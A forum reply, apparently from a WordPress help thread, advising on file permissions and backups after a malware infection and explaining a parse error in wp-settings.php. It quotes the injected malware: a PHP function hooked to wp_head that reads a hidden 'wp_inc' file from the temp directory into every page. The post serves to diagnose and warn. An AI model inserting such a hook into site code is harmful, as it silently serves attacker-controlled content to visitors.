@JeanetteM
either manually update it or just remember to switch it back to 644 (owner has permission to write) before updating the wordpress install.
About the 500 server error, I would recommend backing up your site (sql-database/and files) immediately since the issues might be related .
I have a horror story for you ; a while back (3 weeks) a similar malware code affected one of my wordpress sites created for a client and hosted on justhost and when this issue arose, justhost deleted the sql database. no warnings no nothing ... and yes, i did not have a backup :(
I'm not saying that this is the case with your site, but better safe than sorry .
ALSO tho whom might concern the error
Parse error: syntax error, unexpected '<' in /path/www/genericsite.tld/wp-settings.php on line 131 is also caused by this malware ; it affects old wordpress installs where the insertion of
function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);
do_action( ‘init’ );
broke the file.